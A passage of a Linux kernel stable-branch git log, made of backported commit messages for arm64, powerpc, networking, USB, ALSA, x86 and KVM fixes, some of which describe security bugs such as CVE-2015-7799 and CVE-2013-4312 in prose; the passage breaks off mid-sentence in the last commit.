Pranav Vashi commit fd7c66188c5d3ab4db6ea123704056d5d47f0df3 Author: Will Deacon Date: Thu Dec 10 16:05:36 2015 +0000 arm64: mm: ensure that the zero page is visible to the page table walker commit 32d6397805d00573ce1fa55f408ce2bca15b0ad3 upstream. In paging_init, we allocate the zero page, memset it to zero and then point TTBR0 to it in order to avoid speculative fetches through the identity mapping. In order to guarantee that the freshly zeroed page is indeed visible to the page table walker, we need to execute a dsb instruction prior to writing the TTBR. Signed-off-by: Will Deacon Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ef136e2d47c9da6b884989fac8fe58e95fc2bbf8 Author: John Blackwood Date: Mon Dec 7 11:50:34 2015 +0000 arm64: Clear out any singlestep state on a ptrace detach operation commit 5db4fd8c52810bd9740c1240ebf89223b171aa70 upstream. Make sure to clear out any ptrace singlestep state when a ptrace(2) PTRACE_DETACH call is made on arm64 systems. Otherwise, the previously ptraced task will die off with a SIGTRAP signal if the debugger just previously singlestepped the ptraced task. Signed-off-by: John Blackwood [will: added comment to justify why this is in the arch code] Signed-off-by: Will Deacon Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 99c5232668f07363f20c087a8393e5520e2bd016 Author: Arnd Bergmann Date: Fri Nov 20 12:12:21 2015 +0100 arm64: fix building without CONFIG_UID16 commit fbc416ff86183e2203cdf975e2881d7c164b0271 upstream. As reported by Michal Simek, building an ARM64 kernel with CONFIG_UID16 disabled currently fails because the system call table still needs to reference the individual function entry points that are provided by kernel/sys_ni.c in this case, and the declarations are hidden inside of #ifdef CONFIG_UID16: arch/arm64/include/asm/unistd32.h:57:8: error: 'sys_lchown16' undeclared here (not in a function) __SYSCALL(__NR_lchown, sys_lchown16) I believe this problem only exists on ARM64, because older architectures tend to not need declarations when their system call table is built in assembly code, while newer architectures tend to not need UID16 support. ARM64 only uses these system calls for compatibility with 32-bit ARM binaries. This changes the CONFIG_UID16 check into CONFIG_HAVE_UID16, which is set unconditionally on ARM64 with CONFIG_COMPAT, so we see the declarations whenever we need them, but otherwise the behavior is unchanged. Fixes: af1839eb4bd4 ("Kconfig: clean up the long arch list for the UID16 config option") Signed-off-by: Arnd Bergmann Acked-by: Will Deacon Signed-off-by: Catalin Marinas Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d2c5f6afb1b2832d3fdb16ee06a2006c0b490798 Author: Ulrich Weigand Date: Tue Jan 12 23:14:22 2016 +1100 scripts/recordmcount.pl: support data in text section on powerpc commit 2e50c4bef77511b42cc226865d6bc568fa7f8769 upstream. If a text section starts out with a data blob before the first function start label, disassembly parsing doing in recordmcount.pl gets confused on powerpc, leading to creation of corrupted module objects. This was not a problem so far since the compiler would never create such text sections. However, this has changed with a recent change in GCC 6 to support distances of > 2GB between a function and its assoicated TOC in the ELFv2 ABI, exposing this problem. There is already code in recordmcount.pl to handle such data blobs on the sparc64 platform. This patch uses the same method to handle those on powerpc as well. Acked-by: Steven Rostedt Signed-off-by: Ulrich Weigand Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 702445324292d957208d084c5ae102602e5070dd Author: Boqun Feng Date: Mon Nov 2 09:30:32 2015 +0800 powerpc: Make {cmp}xchg* and their atomic_ versions fully ordered commit 81d7a3294de7e9828310bbf986a67246b13fa01e upstream. According to memory-barriers.txt, xchg*, cmpxchg* and their atomic_ versions all need to be fully ordered, however they are now just RELEASE+ACQUIRE, which are not fully ordered. So also replace PPC_RELEASE_BARRIER and PPC_ACQUIRE_BARRIER with PPC_ATOMIC_ENTRY_BARRIER and PPC_ATOMIC_EXIT_BARRIER in __{cmp,}xchg_{u32,u64} respectively to guarantee fully ordered semantics of atomic{,64}_{cmp,}xchg() and {cmp,}xchg(), as a complement of commit b97021f85517 ("powerpc: Fix atomic_xxx_return barrier semantics") This patch depends on patch "powerpc: Make value-returning atomics fully ordered" for PPC_ATOMIC_ENTRY_BARRIER definition. Signed-off-by: Boqun Feng Reviewed-by: Paul E. McKenney Acked-by: Peter Zijlstra (Intel) Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 591e767b661c1963afdaf993fe15a108995c3659 Author: Boqun Feng Date: Mon Nov 2 09:30:31 2015 +0800 powerpc: Make value-returning atomics fully ordered commit 49e9cf3f0c04bf76ffa59242254110309554861d upstream. According to memory-barriers.txt: > Any atomic operation that modifies some state in memory and returns > information about the state (old or new) implies an SMP-conditional > general memory barrier (smp_mb()) on each side of the actual > operation ... Which mean these operations should be fully ordered. However on PPC, PPC_ATOMIC_ENTRY_BARRIER is the barrier before the actual operation, which is currently "lwsync" if SMP=y. The leading "lwsync" can not guarantee fully ordered atomics, according to Paul Mckenney: https://lkml.org/lkml/2015/10/14/970 To fix this, we define PPC_ATOMIC_ENTRY_BARRIER as "sync" to guarantee the fully-ordered semantics. This also makes futex atomics fully ordered, which can avoid possible memory ordering problems if userspace code relies on futex system call for fully ordered semantics. Fixes: b97021f85517 ("powerpc: Fix atomic_xxx_return barrier semantics") Signed-off-by: Boqun Feng Reviewed-by: Paul E. McKenney Acked-by: Peter Zijlstra (Intel) Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0a746debcc1d78190a1627a4091c8b12701cffe6 Author: Michael Neuling Date: Thu Nov 19 15:44:44 2015 +1100 powerpc/tm: Block signal return setting invalid MSR state commit d2b9d2a5ad5ef04ff978c9923d19730cb05efd55 upstream. Currently we allow both the MSR T and S bits to be set by userspace on a signal return. Unfortunately this is a reserved configuration and will cause a TM Bad Thing exception if attempted (via rfid). This patch checks for this case in both the 32 and 64 bit signals code. If both T and S are set, we mark the context as invalid. Found using a syscall fuzzer. Fixes: 2b0a576d15e0 ("powerpc: Add new transactional memory state to the signal context") Signed-off-by: Michael Neuling Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3fd7b67e0bdebd235e1d301d9ce7d5504473d3e7 Author: Ido Schimmel Date: Mon Jan 18 17:30:22 2016 +0200 team: Replace rcu_read_lock with a mutex in team_vlan_rx_kill_vid [ Upstream commit 60a6531bfe49555581ccd65f66a350cc5693fcde ] We can't be within an RCU read-side critical section when deleting VLANs, as underlying drivers might sleep during the hardware operation. Therefore, replace the RCU critical section with a mutex. This is consistent with team_vlan_rx_add_vid. Fixes: 3d249d4ca7d0 ("net: introduce ethernet teaming device") Acked-by: Jiri Pirko Signed-off-by: Ido Schimmel Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 17c39f0d6b35e9fad18b3c7d543132a6c3dfa89e Author: Ben Hutchings Date: Sun Nov 1 16:22:53 2015 +0000 ppp, slip: Validate VJ compression slot parameters completely [ Upstream commit 4ab42d78e37a294ac7bc56901d563c642e03c4ae ] Currently slhc_init() treats out-of-range values of rslots and tslots as equivalent to 0, except that if tslots is too large it will dereference a null pointer (CVE-2015-7799). Add a range-check at the top of the function and make it return an ERR_PTR() on error instead of NULL. Change the callers accordingly. Compile-tested only. Reported-by: 郭永刚 References: http://article.gmane.org/gmane.comp.security.oss.general/17908 Signed-off-by: Ben Hutchings Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b758f34374066aa62c09bc45cd2b5aa7b6dc9745 Author: Ben Hutchings Date: Sun Nov 1 16:21:24 2015 +0000 isdn_ppp: Add checks for allocation failure in isdn_ppp_open() [ Upstream commit 0baa57d8dc32db78369d8b5176ef56c5e2e18ab3 ] Compile-tested only. Signed-off-by: Ben Hutchings Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b9e6febe4eddb8966d95011b05527e43e08d80fc Author: Eric Dumazet Date: Tue Jan 12 08:58:00 2016 -0800 phonet: properly unshare skbs in phonet_rcv() [ Upstream commit 7aaed57c5c2890634cfadf725173c7c68ea4cb4f ] Ivaylo Dimitrov reported a regression caused by commit 7866a621043f ("dev: add per net_device packet type chains"). skb->dev becomes NULL and we crash in __netif_receive_skb_core(). Before above commit, different kind of bugs or corruptions could happen without major crash. But the root cause is that phonet_rcv() can queue skb without checking if skb is shared or not. Many thanks to Ivaylo Dimitrov for his help, diagnosis and tests. Reported-by: Ivaylo Dimitrov Tested-by: Ivaylo Dimitrov Signed-off-by: Eric Dumazet Cc: Remi Denis-Courmont Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a902defb2c9fff36d3fc64d38a5211076bdfc58f Author: Neal Cardwell Date: Mon Jan 11 13:42:43 2016 -0500 tcp_yeah: don't set ssthresh below 2 [ Upstream commit 83d15e70c4d8909d722c0d64747d8fb42e38a48f ] For tcp_yeah, use an ssthresh floor of 2, the same floor used by Reno and CUBIC, per RFC 5681 (equation 4). tcp_yeah_ssthresh() was sometimes returning a 0 or negative ssthresh value if the intended reduction is as big or bigger than the current cwnd. Congestion control modules should never return a zero or negative ssthresh. A zero ssthresh generally results in a zero cwnd, causing the connection to stall. A negative ssthresh value will be interpreted as a u32 and will set a target cwnd for PRR near 4 billion. Oleksandr Natalenko reported that a system using tcp_yeah with ECN could see a warning about a prior_cwnd of 0 in tcp_cwnd_reduction(). Testing verified that this was due to tcp_yeah_ssthresh() misbehaving in this way. Reported-by: Oleksandr Natalenko Signed-off-by: Neal Cardwell Signed-off-by: Yuchung Cheng Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0c2a38d11cff3909fb947853c52984c7de02afc6 Author: Francesco Ruggeri Date: Wed Jan 6 00:18:48 2016 -0800 net: possible use after free in dst_release [ Upstream commit 07a5d38453599052aff0877b16bb9c1585f08609 ] dst_release should not access dst->flags after decrementing __refcnt to 0. The dst_entry may be in dst_busy_list and dst_gc_task may dst_destroy it before dst_release gets a chance to access dst->flags. Fixes: d69bbf88c8d0 ("net: fix a race in dst_release()") Fixes: 27b75c95f10d ("net: avoid RCU for NOCACHE dst") Signed-off-by: Francesco Ruggeri Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 28e14b300c72267de6270cc2eb9901f7eb2d45e0 Author: Hannes Frederic Sowa Date: Tue Jan 5 10:46:00 2016 +0100 bridge: Only call /sbin/bridge-stp for the initial network namespace [ Upstream commit ff62198553e43cdffa9d539f6165d3e83f8a42bc ] [I stole this patch from Eric Biederman. He wrote:] > There is no defined mechanism to pass network namespace information > into /sbin/bridge-stp therefore don't even try to invoke it except > for bridge devices in the initial network namespace. > > It is possible for unprivileged users to cause /sbin/bridge-stp to be > invoked for any network device name which if /sbin/bridge-stp does not > guard against unreasonable arguments or being invoked twice on the > same network device could cause problems. [Hannes: changed patch using netns_eq] Cc: Eric W. Biederman Signed-off-by: Eric W. Biederman Signed-off-by: Hannes Frederic Sowa Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b5237321bd46871b401c02daf8630d1c7efac9f9 Author: willy tarreau Date: Sun Jan 10 07:54:56 2016 +0100 unix: properly account for FDs passed over unix sockets [ Upstream commit 712f4aad406bb1ed67f3f98d04c044191f0ff593 ] It is possible for a process to allocate and accumulate far more FDs than the process' limit by sending them over a unix socket then closing them to keep the process' fd count low. This change addresses this problem by keeping track of the number of FDs in flight per user and preventing non-privileged processes from having more FDs in flight than their configured FD limit. Reported-by: socketpair@gmail.com Reported-by: Tetsuo Handa Mitigates: CVE-2013-4312 (Linux 2.0+) Suggested-by: Linus Torvalds Acked-by: Hannes Frederic Sowa Signed-off-by: Willy Tarreau Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 218eece91e2c8872fc67ac003a27beb41690bcd3 Author: Florian Westphal Date: Thu Dec 31 14:26:33 2015 +0100 connector: bump skb->users before callback invocation [ Upstream commit 55285bf09427c5abf43ee1d54e892f352092b1f1 ] Dmitry reports memleak with syskaller program. Problem is that connector bumps skb usecount but might not invoke callback. So move skb_get to where we invoke the callback. Reported-by: Dmitry Vyukov Signed-off-by: Florian Westphal Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 95b554be1f9939d248ffe31b8929d675fda0da43 Author: Xin Long Date: Tue Dec 29 17:49:25 2015 +0800 sctp: sctp should release assoc when sctp_make_abort_user return NULL in sctp_close [ Upstream commit 068d8bd338e855286aea54e70d1c101569284b21 ] In sctp_close, sctp_make_abort_user may return NULL because of memory allocation failure. If this happens, it will bypass any state change and never free the assoc. The assoc has no chance to be freed and it will be kept in memory with the state it had even after the socket is closed by sctp_close(). So if sctp_make_abort_user fails to allocate memory, we should abort the asoc via sctp_primitive_ABORT as well. Just like the annotation in sctp_sf_cookie_wait_prm_abort and sctp_sf_do_9_1_prm_abort said, "Even if we can't send the ABORT due to low memory delete the TCB. This is a departure from our typical NOMEM handling". But then the chunk is NULL (low memory) and the SCTP_CMD_REPLY cmd would dereference the chunk pointer, and system crash. So we should add SCTP_CMD_REPLY cmd only when the chunk is not NULL, just like other places where it adds SCTP_CMD_REPLY cmd. Signed-off-by: Xin Long Acked-by: Marcelo Ricardo Leitner Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2983955e2957294ce09398018c39fd55a74e62fe Author: Andrey Ryabinin Date: Mon Dec 21 12:54:45 2015 +0300 ipv6/addrlabel: fix ip6addrlbl_get() [ Upstream commit e459dfeeb64008b2d23bdf600f03b3605dbb8152 ] ip6addrlbl_get() has never worked. If ip6addrlbl_hold() succeeded, ip6addrlbl_get() will exit with '-ESRCH'. If ip6addrlbl_hold() failed, ip6addrlbl_get() will use about to be free ip6addrlbl_entry pointer. Fix this by inverting ip6addrlbl_hold() check. Fixes: 2a8cc6c89039 ("[IPV6] ADDRCONF: Support RFC3484 configurable address selection policy table.") Signed-off-by: Andrey Ryabinin Reviewed-by: Cong Wang Acked-by: YOSHIFUJI Hideaki Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4ad628c767214e81406ca0622ed215e1e782f565 Author: Vijay Pandurangan Date: Fri Dec 18 14:34:59 2015 -0500 veth: don’t modify ip_summed; doing so treats packets with bad checksums as good. [ Upstream commit ce8c839b74e3017996fad4e1b7ba2e2625ede82f ] Packets that arrive from real hardware devices have ip_summed == CHECKSUM_UNNECESSARY if the hardware verified the checksums, or CHECKSUM_NONE if the packet is bad or it was unable to verify it. The current version of veth will replace CHECKSUM_NONE with CHECKSUM_UNNECESSARY, which causes corrupt packets routed from hardware to a veth device to be delivered to the application. This caused applications at Twitter to receive corrupt data when network hardware was corrupting packets. We believe this was added as an optimization to skip computing and verifying checksums for communication between containers. However, locally generated packets have ip_summed == CHECKSUM_PARTIAL, so the code as written does nothing for them. As far as we can tell, after removing this code, these packets are transmitted from one stack to another unmodified (tcpdump shows invalid checksums on both sides, as expected), and they are delivered correctly to applications. We didn’t test every possible network configuration, but we tried a few common ones such as bridging containers, using NAT between the host and a container, and routing from hardware devices to containers. We have effectively deployed this in production at Twitter (by disabling RX checksum offloading on veth devices). This code dates back to the first version of the driver, commit ("[NET]: Virtual ethernet device driver"), so I suspect this bug occurred mostly because the driver API has evolved significantly since then. Commit <0b7967503dc97864f283a> ("net/veth: Fix packet checksumming") (in December 2010) fixed this for packets that get created locally and sent to hardware devices, by not changing CHECKSUM_PARTIAL. However, the same issue still occurs for packets coming in from hardware devices. Co-authored-by: Evan Jones Signed-off-by: Evan Jones Cc: Nicolas Dichtel Cc: Phil Sutter Cc: Toshiaki Makita Cc: netdev@vger.kernel.org Cc: linux-kernel@vger.kernel.org Signed-off-by: Vijay Pandurangan Acked-by: Cong Wang Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1d3fd2ff86a6708ea48f848e894ba284eda18818 Author: Oliver Neukum Date: Thu Dec 3 15:03:34 2015 +0100 xhci: refuse loading if nousb is used commit 1eaf35e4dd592c59041bc1ed3248c46326da1f5f upstream. The module should fail to load. Signed-off-by: Oliver Neukum Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9b58766c98212e16f7f103b69e6854328901215e Author: Oliver Freyermuth Date: Mon Dec 28 18:37:38 2015 +0100 USB: cp210x: add ID for ELV Marble Sound Board 1 commit f7d7f59ab124748156ea551edf789994f05da342 upstream. Add the USB device ID for ELV Marble Sound Board 1. Signed-off-by: Oliver Freyermuth Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b23efacb69055a659db6ab942be07de3d1002f59 Author: Dan Carpenter Date: Wed Dec 16 14:06:37 2015 +0300 USB: ipaq.c: fix a timeout loop commit abdc9a3b4bac97add99e1d77dc6d28623afe682b upstream. The code expects the loop to end with "retries" set to zero but, because it is a post-op, it will end set to -1. I have fixed this by moving the decrement inside the loop. Fixes: 014aa2a3c32e ('USB: ipaq: minor ipaq_open() cleanup.') Signed-off-by: Dan Carpenter Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e4b4910409265d138a21e119b1262fb9a9018e55 Author: Chunfeng Yun Date: Fri Dec 4 15:53:43 2015 +0200 usb: xhci: fix config fail of FS hub behind a HS hub with MTT commit 096b110a3dd3c868e4610937c80d2e3f3357c1a9 upstream. if a full speed hub connects to a high speed hub which supports MTT, the MTT field of its slot context will be set to 1 when xHCI driver setups an xHCI virtual device in xhci_setup_addressable_virt_dev(); once usb core fetch its hub descriptor, and need to update the xHC's internal data structures for the device, the HUB field of its slot context will be set to 1 too, meanwhile MTT is also set before, this will cause configure endpoint command fail, so in the case, we should clear MTT to 0 for full speed hub according to section 6.2.2 Signed-off-by: Chunfeng Yun Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f665a4d248de06532c6b7512c11bd339dc215595 Author: Nikesh Oswal Date: Wed Dec 23 14:18:05 2015 +0000 ASoC: arizona: Fix bclk for sample rates that are multiple of 4kHz commit e73694d871867cae8471d2350ce89acb38bc2b63 upstream. For a sample rate of 12kHz the bclk was taken from the 44.1kHz table as we test for a multiple of 8kHz. This patch fixes this issue by testing for multiples of 4kHz instead. Signed-off-by: Nikesh Oswal Signed-off-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 23530b023ef2924c8a3dddeb71706eb295945fb3 Author: Sachin Pandhare Date: Tue Nov 10 23:38:02 2015 +0530 ASoC: wm8962: correct addresses for HPF_C_0/1 commit e9f96bc53c1b959859599cb30ce6fd4fbb4448c2 upstream. From datasheet: R17408 (4400h) HPF_C_1 R17409 (4401h) HPF_C_0 17048 -> 17408 (0x4400) 17049 -> 17409 (0x4401) Signed-off-by: Sachin Pandhare Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit db6c8716e75226c3e786234e36126b38822de3a1 Author: Takashi Iwai Date: Mon Jan 18 14:12:40 2016 +0100 ALSA: control: Avoid kernel warnings from tlv ioctl with numid 0 commit c0bcdbdff3ff73a54161fca3cb8b6cdbd0bb8762 upstream. When a TLV ioctl with numid zero is handled, the driver may spew a kernel warning with a stack trace at each call. The check was intended obviously only for a kernel driver, but not for a user interaction. Let's fix it. This was spotted by syzkaller fuzzer. Reported-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f5be49bbd8cabf2bb0d1db65e9a3910e093e166d Author: Nicolas Boichat Date: Mon Jan 18 21:35:00 2016 +0800 ALSA: pcm: Fix snd_pcm_hw_params struct copy in compat mode commit 43c54b8c7cfe22f868a751ba8a59abf1724160b1 upstream. This reverts one hunk of commit ef44a1ec6eee ("ALSA: sound/core: use memdup_user()"), which replaced a number of kmalloc followed by memcpy with memdup calls. In this case, we are copying from a struct snd_pcm_hw_params32 to a struct snd_pcm_hw_params, but the latter is 4 bytes longer than the 32-bit version, so we need to separate kmalloc and copy calls. This actually leads to an out-of-bounds memory access later on in sound/soc/soc-pcm.c:soc_pcm_hw_params() (detected using KASan). Fixes: ef44a1ec6eee ('ALSA: sound/core: use memdup_user()') Signed-off-by: Nicolas Boichat Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d0aec4c1dcd48e949bf86c3fa8e69132d68c81ea Author: Nicolas Boichat Date: Mon Jan 18 21:35:01 2016 +0800 ALSA: seq: Fix snd_seq_call_port_info_ioctl in compat mode commit 9586495dc3011a80602329094e746dbce16cb1f1 upstream. This reverts one hunk of commit ef44a1ec6eee ("ALSA: sound/core: use memdup_user()"), which replaced a number of kmalloc followed by memcpy with memdup calls. In this case, we are copying from a struct snd_seq_port_info32 to a struct snd_seq_port_info, but the latter is 4 bytes longer than the 32-bit version, so we need to separate kmalloc and copy calls. Fixes: ef44a1ec6eee ('ALSA: sound/core: use memdup_user()') Signed-off-by: Nicolas Boichat Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c55712e12c7916dbd576c0f232ccccb948fde4fd Author: Takashi Iwai Date: Tue Jan 12 12:38:02 2016 +0100 ALSA: seq: Fix missing NULL check at remove_events ioctl commit 030e2c78d3a91dd0d27fef37e91950dde333eba1 upstream. snd_seq_ioctl_remove_events() calls snd_seq_fifo_clear() unconditionally even if there is no FIFO assigned, and this leads to an Oops due to NULL dereference. The fix is just to add a proper NULL check. Reported-by: Dmitry Vyukov Tested-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d5dad125a858a9b179016e451b6c1d7e2ea92693 Author: Mario Kleiner Date: Tue Dec 22 00:45:43 2015 +0100 ALSA: hda/realtek - Fix silent headphone output on MacPro 4,1 (v2) commit 9f660a1c43890c2cdd1f423fd73654e7ca08fe56 upstream. Without this patch, internal speaker and line-out work, but front headphone output jack stays silent on the Mac Pro 4,1. This code path also gets executed on the MacPro 5,1 due to identical codec SSID, but i don't know if it has any positive or adverse effects there or not. (v2) Implement feedback from Takashi Iwai: Reuse alc889_fixup_mbp_vref and just add a new nid 0x19 for the MacPro 4,1. Signed-off-by: Mario Kleiner Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f12047879ab45329ca0e0fc26fd47511215eb285 Author: Xiong Zhang Date: Fri Dec 18 13:29:18 2015 +0800 ALSA: hda - Set SKL+ hda controller power at freeze() and thaw() commit 3e6db33aaf1d42a30339f831ec4850570d6cc7a3 upstream. It takes three minutes to enter into hibernation on some OEM SKL machines and we see many codec spurious response after thaw() opertion. This is because HDA is still in D0 state after freeze() call and pci_pm_freeze/pci_pm_freeze_noirq() don't set D3 hot in pci_bus driver. It seems bios still access HDA when system enter into freeze state, HDA will receive codec response interrupt immediately after thaw() call. Because of this unexpected interrupt, HDA enter into a abnormal state and slow down the system enter into hibernation. In this patch, we put HDA into D3 hot state in azx_freeze_noirq() and put HDA into D0 state in azx_thaw_noirq(). V2: Only apply this fix to SKL+ Fix compile error when CONFIG_PM_SLEEP isn't defined [Yet another fix for CONFIG_PM_SLEEP ifdef and the additional comment by tiwai] Signed-off-by: Xiong Zhang Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 34f480a3bbe2318f1759df11bbd2e59c1b8ca508 Author: David Henningsson Date: Mon Dec 7 11:29:31 2015 +0100 ALSA: hda - Add inverted dmic for Packard Bell DOTS commit 02f6ff90400d055f08b0ba0b5f0707630b6faed7 upstream. On the internal mic of the Packard Bell DOTS, one channel has an inverted signal. Add a quirk to fix this up. BugLink: https://bugs.launchpad.net/bugs/1523232 Signed-off-by: David Henningsson Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3dab632ef70f984fb53fc9ea4266c065232a4777 Author: Takashi Iwai Date: Fri Dec 4 16:44:24 2015 +0100 ALSA: rme96: Fix unexpected volume reset after rate changes commit a74a821624c0c75388a193337babd17a8c02c740 upstream. rme96 driver needs to reset DAC depending on the sample rate, and this results in resetting to the max volume suddenly. It's because of the missing call of snd_rme96_apply_dac_volume(). However, calling this function right after the DAC reset still may not work, and we need some delay before this call. Since the DAC reset and the procedure after that are performed in the spinlock, we delay the DAC volume restore at the end after the spinlock. Reported-and-tested-by: Sylvain LABOISNE Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 903fc6f4060e3656b3b59f768bca310c1e93120a Author: Takashi Iwai Date: Wed Nov 4 22:39:16 2015 +0100 ALSA: hda - Apply pin fixup for HP ProBook 6550b commit c932b98c1e47312822d911c1bb76e81ef50e389c upstream. HP ProBook 6550b needs the same pin fixup applied to other HP B-series laptops with docks for making its headphone and dock headphone jacks working properly. We just need to add the codec SSID to the list. Bugzilla: https://bugzilla.kernel.org/attachment.cgi?id=191971 Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ea288402057d601491a984b0886c94225e7221f3 Author: Alexandra Yates Date: Wed Nov 4 15:56:09 2015 -0800 ALSA: hda - Add Intel Lewisburg device IDs Audio commit 5cf92c8b3dc5da59e05dc81bdc069cedf6f38313 upstream. Adding Intel codename Lewisburg platform device IDs for audio. [rearranged the position by tiwai] Signed-off-by: Alexandra Yates Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 03a5eed5892d4ae198f84bbf144b06e4239660c1 Author: Jan Stancek Date: Tue Dec 8 13:57:51 2015 -0500 ipmi: move timer init to before irq is setup commit 27f972d3e00b50639deb4cc1392afaeb08d3cecc upstream. We encountered a panic on boot in ipmi_si on a dell per320 due to an uninitialized timer as follows. static int smi_start_processing(void *send_info, ipmi_smi_t intf) { /* Try to claim any interrupts. */ if (new_smi->irq_setup) new_smi->irq_setup(new_smi); --> IRQ arrives here and irq handler tries to modify uninitialized timer which triggers BUG_ON(!timer->function) in __mod_timer(). Call Trace: [] start_new_msg+0x47/0x80 [ipmi_si] [] start_check_enables+0x4e/0x60 [ipmi_si] [] smi_event_handler+0x1e8/0x640 [ipmi_si] [] ? __rcu_process_callbacks+0x54/0x350 [] si_irq_handler+0x3c/0x60 [ipmi_si] [] handle_IRQ_event+0x60/0x170 [] handle_edge_irq+0xde/0x180 [] handle_irq+0x49/0xa0 [] do_IRQ+0x6c/0xf0 [] ret_from_intr+0x0/0x11 /* Set up the timer that drives the interface. */ setup_timer(&new_smi->si_timer, smi_timeout, (long)new_smi); The following patch fixes the problem. To: Openipmi-developer@lists.sourceforge.net To: Corey Minyard CC: linux-kernel@vger.kernel.org Signed-off-by: Jan Stancek Signed-off-by: Tony Camuso Signed-off-by: Corey Minyard Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 54fde797c14ede35f4952fed38129d02a6c4f92e Author: H.J. Lu Date: Mon Jan 4 10:17:09 2016 -0800 x86/boot: Double BOOT_HEAP_SIZE to 64KB commit 8c31902cffc4d716450be549c66a67a8a3dd479c upstream. When decompressing kernel image during x86 bootup, malloc memory for ELF program headers may run out of heap space, which leads to system halt. This patch doubles BOOT_HEAP_SIZE to 64KB. Tested with 32-bit kernel which failed to boot without this patch. Signed-off-by: H.J. Lu Acked-by: H. Peter Anvin Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1c712fa6c8d69d375d9516c23a057f8cc4354314 Author: Mario Kleiner Date: Fri Dec 18 20:24:06 2015 +0100 x86/reboot/quirks: Add iMac10,1 to pci_reboot_dmi_table[] commit 2f0c0b2d96b1205efb14347009748d786c2d9ba5 upstream. Without the reboot=pci method, the iMac 10,1 simply hangs after printing "Restarting system" at the point when it should reboot. This fixes it. Signed-off-by: Mario Kleiner Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Dave Jones Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1450466646-26663-1-git-send-email-mario.kleiner.de@gmail.com Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f0ebf959f238d28d2df679ba87588483f654da70 Author: Paul Mackerras Date: Thu Nov 12 16:43:02 2015 +1100 KVM: PPC: Book3S HV: Prohibit setting illegal transaction state in MSR commit c20875a3e638e4a03e099b343ec798edd1af5cc6 upstream. Currently it is possible for userspace (e.g. QEMU) to set a value for the MSR for a guest VCPU which has both of the TS bits set, which is an illegal combination. The result of this is that when we execute a hrfid (hypervisor return from interrupt doubleword) instruction to enter the guest, the CPU will take a TM Bad Thing type of program interrupt (vector 0x700). Now, if PR KVM is configured in the kernel along with HV KVM, we actually handle this without crashing the host or giving hypervisor privilege to the guest; instead what happens is that we deliver a program interrupt to the guest, with SRR0 reflecting the address of the hrfid instruction and SRR1 containing the MSR value at that point. If PR KVM is not configured in the kernel, then we try to run the host's program interrupt handler with the MMU set to the guest context, which almost certainly causes a host crash. This closes the 